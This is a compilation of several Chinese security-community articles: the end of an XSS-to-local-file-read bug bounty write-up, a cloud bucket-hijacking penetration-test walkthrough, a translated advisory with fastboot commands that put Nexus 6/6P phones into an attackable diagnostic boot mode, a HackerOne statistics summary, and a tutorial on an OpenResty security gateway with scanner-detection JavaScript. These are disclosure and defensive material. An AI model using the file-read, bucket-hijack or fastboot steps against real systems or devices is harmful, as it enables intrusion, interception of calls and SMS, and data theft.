oReq.open("GET", "file:///var/task/[redacted].html");
oReq.send();
不披露些敏感数据是无法展示战果的，下面这张图仅是你在访问日志里看到的数据。
现在在`file://`环境下，可以通过带外 JavaScript 和 XHR
来读取任意文件来。所以我用脚本再次读取`/etc/passwd`去检测`iframe`是否生效。
啊哈哈！当 PhantomJS 由于某种原因加载`<iframe src="file://">`时，XHR
完全可以访问`file://`的上下文环境（也就是访问任意文件）。
在经历这些后，会发现 XSS 在最初似乎一点价值都没，但是从 XSS 到 LFI 却费了很多力气。这是一次非常奇怪的赏金之旅，感觉就像在 CTF 中找
flag 而不是试图利用生产服务器。这次我最大的收获是投入到这场伪 CTF 挑战赛的那些周末实际上都是值得的。
* * * | 社区文章 |
## 0\. 起因：
几天前，收到一个国外目标（公司）的渗透测试任务，时间为两周；
大概看了一下目标是类似于国内阿里云那样提供云服务的平台；
常规信息收集过后，尝试渗透三天无果... 于是下班前只能祭出我的"大杀器"---缝合怪.py。缝合了一些好用的扫描器，一键 XRAY多线程批量扫 +
自动添加任务到AWVS + 自动添加任务到arl + ...加入资产后就下班回家了。
到了第二天一看扫描结果，心里暗道不妙，md坏起来了啊。。。
扫描器里一个洞都没，goby里所有资产显示只开放两个端口80、443。
不慌，问题不大，时间还长，接下来要做的，就是整理思路，重新来过。
在重新整理之前收集到的资产中，发现测试目标的旁站有一个有趣的404页面：
NoSuchBucket + BucketaName
想到了 阿里云 的bucket劫持漏洞，幸福来得太突然了。
## 1\. 经过：
使用测试账号登录自己的云平台尝试进行劫持：
1.点击对象存储服务：
2.点击创建桶：
3.桶的名字为BucketName字段:
4.将访问控制权限更改为公共读写:
5.点击对象，创建hack.txt:
6.完成后刷新<http://321.asd.com为如下>:
发现BucketName字段消失了，原来的NoSuchBucket也变成了NoSuchCustomDomain，说明我们的修改对它造成了影响！
7.NoSuchCustomDomain？那我们就来给他设置一个，点击域名管理尝试绑定域名：
8.访问<http://321.asd.com/>
9.访问：<http://321.asd.com/hack.txt> （hack.txt为我们刚才上传的）
(后期尝试上传图片，html等文件均可)
劫持成功！拿来吧你！
## 2\. 结果：
1. 删除该桶后，<http://321.asd.com/恢复bucket字段>:
漏洞危害：劫持Bucket，并开放匿名读取功能。可以挂黑页或引用js文件，攻击者可以上传恶意js文件，去盗取用户信息。。。
2. 还有几天时间，接着搞搞（ji xu mo yu），渗透测试一定要耐心并且专注~ | 社区文章 |
# 【技术分享】安卓漏洞：攻击Nexus6和6p自定义引导模式
|
##### 译文声明
本文是翻译文章，文章来源：securityintelligence.com
原文地址：<https://securityintelligence.com/android-vulnerabilities-attacking-nexus-6-and-6p-custom-boot-modes/>
译文仅供参考，具体内容表达以及含义原文为准。
****
**作者：**[ **胖胖秦** ****](http://bobao.360.cn/member/contribute?uid=353915284)
**预估稿费：140RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**
**
**前言**
在最近几个月，X-Force安全研究小组发现了一些之前从未公开的Android漏洞。在2016年11月和2017年1月之间,Android安全简报里包含了这些高危漏洞的补丁：Nexus
6和6P的CVE-2016-8467。我们的新文章,“攻击Nexus 6&6P自定义引导模式”讨论了此漏洞和CVE-2016-6678。
**自定义引导模式**
本文介绍了攻击者如何利用PC恶意软件或恶意充电器重启一台Nexus
6或6P设备并实现一个特殊的引导配置或引导模式，它会命令Android开启多种额外的USB接口。
**访问Nexus 6调制解调器诊断**
这些接口，特别是调制解调器诊断接口，使攻击者能够访问其他功能。这允许他们接管Nexus 6调制解调器，从而对机密性和完整性造成威胁。
例如，访问调制解调器可以使攻击者能够拦截电话。下图显示了成功拦截电话接收通道的波形：
攻击者也可以嗅探移动数据包。下图显示了我们如何成功地侦听LTE数据:
此外，对Nexus 6调制解调器的这种访问级别允许攻击者查找精确的GPS坐标，详细的卫星信息，拨打电话，窃取通话信息，访问或更改NV条目和EFS分区。
**触发Android漏洞**
如果设备上已启用ADB，那么PC恶意软件或恶意充电器可以使用特殊引导模式配置来引导Nexus 6 /
6P设备。开发人员使用ADB进行调试，用户可以利用它将Android应用程序包（APK）安装到他们的设备上。如果在攻击前未被永久授权,进行连接时,受害者必须要对设备上的PC或充电器进行授权。然后，攻击者可以简单地发出以下命令：
adb reboot bootloader
fastboot oem config bootmode bp-tools (N6)
fastboot oem bp-tools-on (N6, option 2)
fastboot oem enable-bp-tools (N6P)
fastboot reboot
这些命令使用特殊引导模式来重新启动设备,
启用接口。以后每次重启都将使用这种特殊的引导模式配置。这意味着攻击是持久的，不再需要ADB运行，虽然它仍然需要USB访问。因此，攻击者只需要受害者启用一次ADB。另外，幸运的攻击者可能会等待设备处于快速引导模式，这种模式不需要受害者授权。但是，这不太可能。
除了上述修改引导模式技术之外，对于物理攻击者,使用定制引导模式来引导设备是另一种方式。具有对设备的物理访问权限的攻击者可以将其重新引导到快速引导模式，并选择BP-Tools或Factory设置相关的引导模式配置，如下所示：
**访问调制解调器AT接口**
该漏洞对Nexus
6P的影响没有那么严重，因为调制解调器诊断在调制解调器固件上是禁用，这将阻止上述的恶意行为。但是，攻击者可以访问额外的USB接口，如调制解调器AT接口，这也是Nexus6易被攻击的地方。通过这个接口,攻击者可以发送或窃取短信，并可能绕过双因素认证。
攻击者还可以访问电话信息，更改各种无线设置等。
**ADB访问**
即使在开发者界面中禁用ADB接口，6P中的漏洞也会启用ADB接口。即使PC被锁定，通过访问经过ADB授权的电脑，物理攻击者可以打开一个设备的ADB会话，运行在受害者PC下的ADB会对ADB授权令牌进行RSA签名，这种ADB连接允许攻击者在设备上安装恶意软件。在一台ADB授权机器上的PC恶意软件也可以利用CVE-2016-8467来启用ADB并安装Android恶意软件。PC恶意软件等待受害者开启设备的快速引导模式,然后触发漏洞。
**Nexus 6中未初始化的内核内存泄漏**
经过进一步分析，我们发现在使用自定义引导模式引导时，Nexus
6还启用了另一个可疑USB接口。该接口将自身标识为“Motorola测试命令”。负责此接口的内核驱动程序叫作f_usbnet。有趣的是，这个驱动程序带有一个可以从主机端配置并基于USB的以太网适配器，这将导致网络流量的泄漏。
我们在f_usbnet驱动上还发现了一个名为CVE-2016-6678的漏洞，通过USB,
4-5个字节未初始化内核数据将被填充到每一个以太网帧中。这种泄漏可能包含敏感数据，可以授权网络犯罪分子利用系统。下图显示了一个包含泄漏数据的ICMP帧：
**协调披露**
在此博客发布之前,X-Force团队负责任的向Google报告了这些Android漏洞。
Google将 CVE-2016-8467定义为高危漏洞，通过禁止已锁的引导加载器以危险的引导模式来引导系统,可以减少此漏洞的发生。Nexus
6的第一个安全加载器的版本是71.22，于2016年11月发布在Android安全简报上。Nexus
6P的第一个安全加载器版本是03.64，于2017年1月作为安全简报的一部分发布。
Google将CVE-2016-6678定义为中危漏洞，通过将未初始化的字节置零来阻止此漏洞，以防止数据泄漏。该补丁于2016年10月作为安全简报的一部分发布。 | 社区文章 |
# 首个 HackerOne “百万赏金黑客”是谁？白帽收入是普通程序员的几倍？
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
HackerOne
平台发布年报，内容主要包括：黑客从哪里来？为何挖漏洞？最喜欢的黑客目标和工具是什么？从哪里学习？为何要和他人协作等等。另外，还公布了首位获得百万赏金的黑客年仅19岁且自学成才。360代码卫士团队对报告的主要内容进行了编译。
报告数据来自 HackerOne 调查数据以及2018年12月以及2019年1月的 Harris
调查数据，后者的数据来自100多个国家和地区超过3667名黑客。HackerOne
平台数据来自成功地在该平台上报告过一个及以上有效漏洞的黑客，以及该平台基于1200多个漏洞奖励计划和漏洞披露计划的专有数据。主要研究结果如下：
报告指出，HackerOne
平台的注册黑客人数已突破30万人，提交的有效漏洞总计超过10万个，支付的漏洞奖励金超过4200万美元。单在2018年，漏洞赏金总额即超过1900万美元，几乎是之前所有年份赏金的总和。
印度和美国仍然是最多的黑客聚集地，超过6个非洲国家在2018年首次参与该平台活动。
由黑客驱动的安全正在全球范围内创造机会。顶级赏金猎人能够赚取的年度赏金是其所在国软件工程师年薪中位数的40倍。
黑客培训活动发生在传统教室之外的地方。81%的黑客表示是通过博客以及学材料如公开披露的漏洞报告等学习技能的。仅有6%的黑客是通过传统教室或黑客证书入行的。
黑客向善正在逐渐为大众接受。Harris Poll 调查数据显示近三分之二的美国人（64%）认为并非所有的黑客都在使坏。
## 黑客从哪里来？
黑客几乎遍布全球每个角落。冰岛、加纳、斯洛伐克、阿鲁巴和厄瓜多尔的黑客和印度、美国、俄罗斯、巴基斯坦和英国的黑客一样意志坚定、技能娴熟、渴望成功，但后五个国家在黑客驱动安全领域的地位不可撼动。单是印度和美国的黑客数量就占据了总数的30%，2018年更是占比43%。在黑客全球化的时代，黑客拥有新型且大量机会施展拳脚，而他们所需的不过是互联网连接。
肯尼亚的黑客首次参与活动，阿尔及利亚的参与人数较上一年翻了一番。印度连续两年成为黑客的最多来源地，超过6个非洲国家首次参与活动。
## 哪个国家赏金贡献最多？拿到的赏金最多？
截止2018年，HackerOne
平台共支付4200多万美元的赏金，8个国家的组织机构贡献了超过一半的赏金。美国和加拿大的组织机构贡献金额最多，其次是英国、德国、俄罗斯和新加坡。拿到最多赏金的黑客依次来自美国、印度、俄罗斯、未知来源、德国、加拿大、英国、瑞典、荷兰和中国。
## 黑客赏金是普通程序员收入的多少倍？
报告提供了黑客赏金与软件工程师中位数年度收入对比数据。在阿根廷，黑客赏金收入是软件工程师的40.6倍、泰国是2.5倍、埃及是24.2倍、印度是17.6倍、中国香港是6.7倍、美国是6.4倍、瑞典是6.3倍、中国是6.2倍。
## 黑客人口统计状况
90%的黑客年龄低于35岁，而其中18-24年龄段的人略有增长。这群人占 HackerOne
平台黑客总数的47%，而且是唯一一个在数量方面逐年上涨的群体。但也不要小看年龄稍长的群体，35-49岁的群体数量在2018年占比超过9%，而50-64岁的人群数量在2018年几乎翻了一番。
80%的人是自学成才，越来越多的黑客来自技术以外的行业，让漏洞挖掘的领域充满活力。40%的人每周花费20多个小时寻找漏洞。
81%的黑客将网络资源和博客作为主要的学习途径，只有6%的黑客完成了正规课堂或证书培训。
为何从事黑客活动？或因兴趣而起或是全职工作所需。多数是因为感兴趣，很多人在全职工作结束或上完课后基本将时间和精力投入到挖漏洞中。四分之一的人将其当作职业，仅有不到40%的人是从事IT或技术行业，而在2017年，这个比例还是47%。
三分之一的黑客每周花10个小时或更少的时间，不过这一比例在2018年比2017年有所下降。越来越多（超过25%）的黑客每周花费30个小时或更多的时间。
## 区块链黑客趋势如何？
近70家区块链和密币公司使用 HackerOne 平台确保安全。2018年，这些公司收到的漏洞报告近3000份。2018年HackerOne
平台上4%的赏金源自区块链和密币组织机构。提供基于区块链令牌的浏览器产品的公司 Brave 支付超过2.5万美元的赏金，解决了近100个漏洞报告。
黑客从区块链行业中获得的赏金更高。2018年，所有与区块链相关的公司支付的平均赏金是近1500美元，比平台的平均水平高出600美元左右。而区块链黑客所获得的赏金是其所在国家软件工程师的工资中位数的7倍。
近30%的 HackerOne 平台上的黑客具有6年或以上的经验。而年龄并非唯一衡量经验、技能或受教育水平。
## 最受欢迎的黑客工具是什么？
2018年，黑客使用第三方本地代理工具的比例增长了67%。Burp Suite 是使用最多的工具 (32.7%)，而使用Fiddler
(14.7%)、Webinspect (11.1%)、ChipWhisperer (9.8%)
的黑客人数也在不断增长。而使用网络扫描器和模糊测试工具的人数稳定。
## 黑客宠爱的目标是什么？
黑客最爱的目标是网站、API 和持有自己的数据的技术。他们仍然最爱从 web 应用中查找漏洞。70%的受访黑客表示最喜欢黑的产品或平台依次是网站
(72.8%)、API、存储自己数据的技术 (3.7%)、安卓应用 (3.7%)、操作系统 (3.5%) 和可下载软件 (2.3%)。
## 仅仅是因为钱才当黑客的吗？
经济收益无疑起着重要作用。然而，好奇心是永远不变的源动力。有些黑客只是为了“好玩”，而这个比例和只是为了赚钱的黑客比例几乎相当
(14.3%)。四分之一的黑客表示是为了帮助他人或做好事。
黑客选择某个公司的原因是为了挑战或学习 (59.5%)、喜欢某个公司 (40.4%)、该公司安全团队的响应 (36.4%)、为了获得最高赏金
(31.9%)、我用这种技术或里面有我的数据 (31%)等。
## 黑客最喜欢的攻击向量、技术或方法是什么？
超过38%的黑客的答案是 XSS 漏洞，其次是 SQL
注入、模糊测试、业务逻辑、信息收集、SSRF、RCE、枚举、逆向工程、IDOR、暴力攻击、注入、CSRF、验证、XXE、DDoS。
## 如何和平台上的其他黑客建立连接一起工作？
通过读他们的博客和公开披露的漏洞报告占比最大，为33%；而24.4%的黑客表示不喜欢协作而喜欢单干；14.7%的黑客表示在某些特殊项目或挑战时进行合作；9.9%的人表示是他人的导师或是受其他黑客的引导；一直和其它黑客协作的占据8.7%，而作为团队成员和他人一起提交漏洞报告的占比7.4%。
说到公司收到漏洞报告的反应，一定程度上态度比较开放 (36.5%)、非常开放 (32.2%)、一般 (17.6%)。
## 首个百万赏金富翁是谁？
现年19岁的 Santiago Lopez 是在 HackerOne
平台上获得100万美元赏金的第一人。他16岁时开始学习黑客技术，互联网即是他的黑客学校，他从中查看并阅读如何绕过或打破安全防御的材料。一年之后，他凭借一个
CSRF 漏洞获得50美元的奖励，而最大的奖励是因发现SSRF漏洞而获得的9000美元。他用获得的第一笔赏金买了一台新电脑，之后又买了一辆车。
如今，他共发现了1676个唯一漏洞，将报告提交给了很多大公司，如
Verizon、Automattic、推特、HackerOne和一些私营企业、甚至还包括美国政府。目前他在 HackerOne 平台上排名第二。
一言以蔽之，这是属于黑客的时代。 | 社区文章 |
### 一、前言
前段时间分析了一个开源waf项目学习了[lua-waf工作原理](https://xz.aliyun.com/t/10803)，作者调用nginx三方模块（
`lua_nginx_module`
）提供的api在access阶段插入lua代码对请求包过滤，学习过程中发现这些api还可以做些有意思的事，于是产生了一个想法，写一个反向代理安全网关，本篇文章则是对实现过程的一个记录，初期规划功能和已完成项如下：
* 防御shiro反序列化攻击
* 防御自动化工具请求
* 保护网站前端代码
* 防御多源代理请求
* 防止敏感信息泄漏
### 二、过程记录
#### 2.0 环境搭建
##### 01 openresty
使用集成了lua和nginx的openresty组件
* 配置yum源
# add the yum repo:
wget https://openresty.org/package/centos/openresty.repo
sudo mv openresty.repo /etc/yum.repos.d/
# update the yum index:
sudo yum check-update
* 安装openresty
# 安装openresty
sudo yum install -y openresty
# 安装命令行工具
sudo yum install -y openresty-resty
# 安装成功
openresty -V 2>&1 | sed "s/\s\+--/\n --/g"
nginx version: openresty/1.19.9.1
built by gcc 8.4.1 20200928 (Red Hat 8.4.1-1) (GCC)
built with OpenSSL 1.1.1k 25 Mar 2021 (running with OpenSSL 1.1.1l 24 Aug 2021)
TLS SNI support enabled
configure arguments:
--prefix=/usr/local/openresty/nginx
--with-cc-opt='-O2 -DNGX_LUA_ABORT_AT_PANIC -I/usr/local/openresty/zlib/include -I/usr/local/openresty/pcre/include -I/usr/local/openresty/openssl111/include'
--add-module=../ngx_devel_kit-0.3.1
--add-module=../echo-nginx-module-0.62
--add-module=../xss-nginx-module-0.06
--add-module=../ngx_coolkit-0.2
--add-module=../set-misc-nginx-module-0.32
--add-module=../form-input-nginx-module-0.12
--add-module=../encrypted-session-nginx-module-0.08
--add-module=../srcache-nginx-module-0.32
--add-module=../ngx_lua-0.10.20
--add-module=../ngx_lua_upstream-0.07
--add-module=../headers-more-nginx-module-0.33
--add-module=../array-var-nginx-module-0.05
--add-module=../memc-nginx-module-0.19
--add-module=../redis2-nginx-module-0.15
--add-module=../redis-nginx-module-0.3.7
--add-module=../ngx_stream_lua-0.0.10
--with-ld-opt='-Wl,-rpath,/usr/local/openresty/luajit/lib -L/usr/local/openresty/zlib/lib -L/usr/local/openresty/pcre/lib -L/usr/local/openresty/openssl111/lib -Wl,-rpath,/usr/local/openresty/zlib/lib:/usr/local/openresty/pcre/lib:/usr/local/openresty/openssl111/lib'
--with-cc='ccache gcc -fdiagnostics-color=always'
--with-pcre-jit
--with-stream
--with-stream_ssl_module
--with-stream_ssl_preread_module
--with-http_v2_module
--without-mail_pop3_module
--without-mail_imap_module
--without-mail_smtp_module
--with-http_stub_status_module
--with-http_realip_module
--with-http_addition_module
--with-http_auth_request_module
--with-http_secure_link_module
--with-http_random_index_module
--with-http_gzip_static_module
--with-http_sub_module
--with-http_dav_module
--with-http_flv_module
--with-http_mp4_module
--with-http_gunzip_module
--with-threads
--with-compat
--with-stream
--with-http_ssl_module
* 文件结构
# 查找命令路径
which openresty
/usr/bin/openresty
# 查看原始文件
ll /usr/bin/openresty
lrwxrwxrwx 1 root root 37 8月 7 05:31 /usr/bin/openresty -> /usr/local/openresty/nginx/sbin/nginx
# 查看跟路径结构
tree /usr/local/openresty/ -L 1
/usr/local/openresty/
├── bin
├── COPYRIGHT
├── luajit
├── lualib
├── nginx
├── openssl111
├── pcre
├── site
└── zlib
* 常用命令
openresty -t # 检查配置文件是否正确 nginx.conf
openresty -s -reload # 不停止nginx服务，重新加载配置，生成新worker
openresty -s -reopen # 不停止nginx服务，重新打开日志文件，用于分割日志
openresty -s -stop # 快速停止nginx
openresty -s -quit # 等待正在处理的请求完成后再进行停止nginx
##### 02 node
# yum安装node
curl -fsSL https://rpm.nodesource.com/setup_17.x | bash - sudo yum install -y nodejs
# 安装成功
node -v
v17.4.0
npm -v
8.3.1
# 安装babel
npm -g install @babel/[email protected]
npm -g install @babel/[email protected]
npm -g install @babel/[email protected]
npm -g install @babel/[email protected]
npm -g list
/usr/lib
├── @babel/[email protected]
├── @babel/[email protected]
├── @babel/[email protected]
├── @babel/[email protected]
├── [email protected]
└── [email protected]
# 添加环境变量
npm -g root
/usr/lib/node_modules
vi ~/.bashrc
export NODE_PATH=/usr/lib/node_modules
#### 2.1 防御shiro反序列化攻击
##### 01 特征分析
shiro反序列化漏洞由硬编码泄漏而产生，通常攻击者会在本地生成不同利用链的恶意序列化语句，然后放于cookie中批量对服务器发起爆破，此时payload为序列化后再aes加密的base64数据没有明显攻击特征
##### 02 方案确定
传统waf设备基于特征匹配对于这类攻击较难发力，但如果是介入在客户端与服务器之间的反向代理网关则可以修改http数据包内容
* 对服务器下发的cookie加密
* 对客户端传来的cookie解密
* 对不认识的cookie直接丢弃
##### 03 功能实现
处理用户发来的请求：验证客户http请求的cookie，没有特定cookie返回403，存在但解密失败返回403，解密成功后放行
function reqCookieParse()
if ShiroProtect then -- 检查是否启用该功能
local userCookie = ngx.var.cookie_x9i7RDYX23 -- 获取请求头key为x9i7RDYX23的cookie值
if not userCookie then -- 没有cookie时
log('0-cookie 无cookie', '') -- 放行
elseif #userCookie < 32 then -- cookie长度不符合要求时
log('1-cookie 不符合要求', userCookie)
say_html() -- 拦截，返回403
else --有cookie时
local userCookieX9 = ngx.var.cookie_x9i7RDYX23
if not userCookieX9 then -- 检查是否存在x9i7RDYX23
log('2-cookie 没有cookiex9', userCookie)
say_html()
else
local result = xpcall(dencrypT, errPrint, userCookieX9) -- 检查是否可以解密
if not result then -- 解密失败时
log('3-cookie 无法解密', userCookie)
say_html() -- 拦截，返回403
else -- 解密成功时
local originCookie = StrToTable(dencrypT(userCookieX9)) -- 当存在多个cookie时，将table转化为string
ngx.req.set_header('Cookie', transTable(originCookie)) -- 按照xxx=111;yyy=222的格式拼接cookie
log('4-cookie 解密成功', userCookie)
end
end
end
end
end
处理服务器返回的响应：当上游返回的头包含`Set-Cookie`字段时候触发规则，对cookie进行加密
function respCookieEncrypt()
if ShiroProtect then -- 检查是否启用该功能
local value = ngx.resp.get_headers()["Set-Cookie"] -- 检查服务器是否下发cookie
if value then -- 服务器下发cookie时
local encryptedCookie = cookieKey.."="..encrypT(TableToStr(value)) -- 将cookie从table转化为string，然后对全部cookie加密，并存放在新的字段中
ngx.header["Set-Cookie"] = encryptedCookie -- 添加响应头
log('5-cookie 加密成功',encryptedCookie)
end
end
end
记录日志，格式为：
* `ip`+`时间`+`请求方法`+`服务器名`+`请求地址`+`规则标识`+`ua`+`其他数据`
function getClientIp() -- 调用nginx变量，返回真实ip
IP = ngx.var.remote_addr -- 从tcp连接中取客户端ip
if IP == nil then
IP = "unknown"
end
return IP
end
function write(logfile,msg) -- 写文件操作
local fd = io.open(logfile,"ab")
if fd == nil then return end
fd:write(msg)
fd:flush()
fd:close()
end
function log(data, ruletag)
if Attacklog then -- 检查是否启用该功能
local realIp = getClientIp() -- 获取客户端ip
local method = ngx.var.request_method -- 获取请求方法
local ua = ngx.var.http_user_agent -- 获取ua
local servername=ngx.var.server_name -- 获取nginx配置文件的servr_name
local url = ngx.var.request_uri -- 获取path+args
local time=ngx.localtime() -- 获取nginx当前时间
if ua then
line = realIp.." ["..time.."] \""..method.." "..servername..url.."\" \""..ruletag.."\" \""..ua.."\" \""..data.."\"\n"
else
line = realIp.." ["..time.."] \""..method.." "..servername..url.."\" \""..ruletag.."\" - \""..data.."\"\n"
end
local filename = logpath..'/'..servername.."_"..ngx.today().."_sec.log" -- 以天为文件名保存日志
write(filename,line)
end
end
##### 04 功能演示
* 加密服务器cookie
访问源站，返回两个`Set-Cookie`头和原始cookie值
访问安全网关保护后的站点，原始的`testA`、`testB`字段被加密，合并成`x9i7RDYX23`
* 解密客户端cookie
web服务器配置rsp路径返回`ngx.req.raw_header()`
location /req {
default_type 'text/html';
content_by_lua 'ngx.say(ngx.req.raw_header())';
}
访问源站，web服务器返回原始请求头
访问安全网关保护后的站点，不携带cookie时，网关放行
访问安全网关保护后的站点，携带错误cookie时，网关拦截并返回403
访问安全网关保护后的站点，携带正确的cookie时，网关放行并对cookie解密，此时web服务器收到的cookie为解密后的cookie，即使用户在请求中注入了其他cookie，web服务器也不会收到该cookie
* 日志记录
#### 2.2 防御自动化工具请求
##### 01 特征分析
扫描器等自动化攻击工具通过发送大量指定或随机的探测性请求来试图发现服务器漏洞信息，过程常伴随请求数量大、请求频率规律、请求地址重复等特点，防御自动化工具本质上是对脚本请求的拦截
##### 02 方案确定
自动化工具请求的发起者通常不是来自正常浏览器而是由不同语言编写的http请求脚本，而普通脚本无js执行能力无法解析js代码，利用这个差异，安全网关作为中间设备则可以在包中插入js代码来筛选客户端，具体流程为：
* 客户端首次请求网关未携带cookie，网关返回302跳转至指定地址加载js代码，该代码执行时会收集运行环境数据并生成一个前端cookie，此时正常浏览器已生成cookie，脚本工具没有js能力无法生成cookie从而无法进入下一个请求逻辑
* 客户端携带前端js新生成的cookie向网关发起第二次请求，网关解析cookie确认无误后再转发请求至上游服务器，解析失败则返回403
* 随后的请求网关会在响应中插入第二套js，hook请求事件，每当发生新的请求行为时做一次环境检查生成新cookie后再发送请求
##### 03 功能实现
处理用户发来的请求：首先检查是否存在cookieA/B，不存在则跳转至`finalPath`生成cookie，存在则验证cookie，解密失败时返回403、解密成功则放行
function toolsInfoSpider()
if ToolsProtect then -- 检查是否启用该功能
local clientCookieA = ngx.var.cookie_h0yGbdRv -- 提取cookieA：h0yGbdRv
local clientCookieB = ngx.var.cookie_kQpFHdoh -- 提取cookieB：kQpFHdoh
if not (clientCookieA and clientCookieB) then -- 检查是否存在cookieA、cookieB
local ip = 'xxx' -- 服务器地址
local finalPath = 'http://'..ip..'/'..jsPath..'?origin='..encodeBase64(ngx.var.request_uri) -- 拼接生成cookie的地址的跳转链接
log('1-tools 无cookieA/B', '') -- 日志记录
ngx.redirect(finalPath, 302) -- 返回302
else -- 存在cookieA、cookieB时
local result = xpcall(dencrypT, emptyPrint, clientCookieB, clientCookieA) -- 测试cookie能否解密成功
if not result then -- 解密失败时
log('2-tools 解密失败', clientCookieA..', '..clientCookieB)
say_html() -- 解密失败，返回302
else -- 可以解密
local result2 = dencrypT(clientCookieB, clientCookieA) -- 获取解密后的数据
local _,e = string.find(result2, '0') -- 提取cookie中的数据
if e ~= nil then -- 检测到前端存在工具特征时拦截
log('3-tools 工具请求', result2)
say_html()
else
log('0-tools 工具验证通过', '') -- 检查完成，放行
end
end
end
end
end
首次请求，生成cookie相关页面：没有cookieA/B时跳转至该地址，`webdriver.js`提取环境数据并生成cookieA/B，然后`jump.js`跳转至原始请求地址
# index.html
<script src="https://cdn.bootcss.com/crypto-js/3.1.9-1/crypto-js.min.js"></script>
<script type="text/javascript" src="./webdriver.js"></script>
<script type="text/javascript" src="./jump.js"></script>
生成cookie，采集环境数据：
// webdriver.js
var tt = Date.parse(new Date()); // 时间戳
var arr = '';
function get_webdriver() { // 检查webdriver特征
try {
return !0 === _navigator.webdriver ? 0 : +!window.document.documentElement.getAttribute('webdriver')
} catch (e) {
return 1
}
}
function get_awvs() { // 检查awvs特征
for (var e = [
'SimpleDOMXSSClass',
'MarvinHooks',
'MarvinPageExplorer',
'HashDOMXSSClass'
], t = e.length, r = window.$hook$, n = 0; n < t; n++) if (window[e[n]] && r) return 0;
return 1
}
function get_appscan() { // 检查appscan特征
for (var e = [
'appScanSendReplacement',
'appScanOnReadyStateChangeReplacement',
'appScanLoadHandler',
'appScanSetPageLoaded'
], t = e.length, r = 0; r < t; r++) if (window[e[r]]) return 0;
return 1
}
function get_info(arr){ // 合并检查数据，存放于arr数组中
arr = '' + get_webdriver() + get_awvs() + get_appscan();
return arr;
}
function setCookie(cname, date) // 设置cookie
{
var d = new Date();
d.setTime(d.getTime()+(1*24*60*60*1000));
var expires = "expires="+d.toGMTString();
document.cookie = cname + '=' + date + '; ' + expires + '; Path=/';
}
function aesEncrypt(word, tt) { // aes加密
let key = CryptoJS.enc.Utf8.parse(tt);
const iv = CryptoJS.enc.Utf8.parse('ABCDEF1234123412');
let srcs = CryptoJS.enc.Utf8.parse(word);
let encrypted = CryptoJS.AES.encrypt(srcs, key, { iv: iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.Pkcs7 });
return encrypted.ciphertext.toString().toUpperCase();
}
tt = '000'+tt;
setCookie('h0yGbdRv', tt); // 生成cookieA，值为时间戳
setCookie('kQpFHdoh', aesEncrypt(get_info(arr), tt)); // 生成cookieB，值为加密后的arr数组，密钥为cookieA
跳转功能：从args中提取原始跳转地址，然后发起跳转
// jump.js
function getUrlParams() { // 提取302链接携带的origin参数，为原始请求地址
var args = new Object();
var query = location.search.substring(1);
var pairs = query.split("&");
for (var i = 0; i < pairs.length; i++) {
var pos = pairs[i].indexOf('=');
if (pos == -1) continue;
var argname = pairs[i].substring(0, pos);
var value = pairs[i].substring(pos + 1);
args[argname] = unescape(value);
}
return args;
}
function jump(){ // 跳转
var args = getUrlParams()['origin'];
var path = atob(args);
self.location=path;
}
jump();
后续网关下发的js：hook请求事件和生成新cookie
var arr = '';
function get_webdriver() { // 检查webdriver特征
try {
return !0 === _navigator.webdriver ? 0 : +!window.document.documentElement.getAttribute('webdriver')
} catch (e) {
return 1
}
}
function get_awvs() { // 检查awvs特征
for (var e = [
'SimpleDOMXSSClass',
'MarvinHooks',
'MarvinPageExplorer',
'HashDOMXSSClass'
], t = e.length, r = window.$hook$, n = 0; n < t; n++) if (window[e[n]] && r) return 0;
return 1
}
function get_appscan() { // 检查appscan特征
for (var e = [
'appScanSendReplacement',
'appScanOnReadyStateChangeReplacement',
'appScanLoadHandler',
'appScanSetPageLoaded'
], t = e.length, r = 0; r < t; r++) if (window[e[r]]) return 0;
return 1
}
function getCookie(cookieName) { // 获取cookiA
var strCookie = document.cookie;
var arrCookie = strCookie.split("; ");
for(var i = 0; i < arrCookie.length; i++){
var arr = arrCookie[i].split("=");
if(cookieName == arr[0]){
return arr[1];
}
}
return "";
}
function get_info(arr){ // 合并检查数据，存放于arr数组中
arr = '' + get_webdriver() + get_awvs() + get_appscan();
return arr;
}
function setCookie(cname, data) {
var d = new Date();
d.setTime(d.getTime() + (1 * 24 * 60 * 60 * 1000));
var expires = "expires=" + d.toGMTString();
document.cookie = cname + '=' + data + '; ' + expires + '; Path=/';
}
function aesEncrypt(word, tt) {
let key = CryptoJS.enc.Utf8.parse(tt);
const iv = CryptoJS.enc.Utf8.parse('ABCDEF1234123412');
let srcs = CryptoJS.enc.Utf8.parse(word);
let encrypted = CryptoJS.AES.encrypt(srcs, key, { iv: iv, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.Pkcs7 });
return encrypted.ciphertext.toString().toUpperCase();
}
var tt = getCookie("h0yGbdRv");
var cookieV = aesEncrypt(get_info(arr), tt);
function hookAJAX() {
XMLHttpRequest.prototype.nativeOpen = XMLHttpRequest.prototype.open;
var customizeOpen = function (method, url, async, user, password) {
// do something
setCookie('kQpFHdoh', 'cookieTest');
this.nativeOpen(method, url, async, user, password);
};
XMLHttpRequest.prototype.open = customizeOpen;
}
function hookImg() {
const property = Object.getOwnPropertyDescriptor(Image.prototype, 'src');
const nativeSet = property.set;
function customiseSrcSet(url) {
// do something
setCookie('kQpFHdoh', cookieV);
nativeSet.call(this, url);
}
Object.defineProperty(Image.prototype, 'src', {
set: customiseSrcSet,
});
}
function hookOpen() {
const nativeOpen = window.open;
window.open = function (url) {
// do something
setCookie('kQpFHdoh', cookieV);
nativeOpen.call(this, url);
};
}
function hookFetch() {
var fet = Object.getOwnPropertyDescriptor(window, 'fetch')
Object.defineProperty(window, 'fetch', {
value: function (a, b, c) {
// do something
setCookie('kQpFHdoh', cookieV);
return fet.value.apply(this, args)
}
})
}
// 四个hook函数
hookAJAX();
hookImg();
hookOpen();
hookFetch();
##### 04 功能演示
* 首次请求，没有cookieA/B，返回302
* 浏览器执行js，生成cookieA/B
* cookie验证成功时，放行
* cookie验证失败时，返回403
* 日志记录
#### 2.3 保护网站前端代码
##### 01 方案确定
在网关中配置js混淆器，对上游服务器返回的js文件和网关自身下发的js文件进行动态混淆，[混淆内容](https://xz.aliyun.com/t/10869)有：
* 改变对象访问方式
* 标识符unicode编码
* 字符串加密
* 数值位异或加密
* 数组混淆
* 二项式转花指令
* 指定行加密
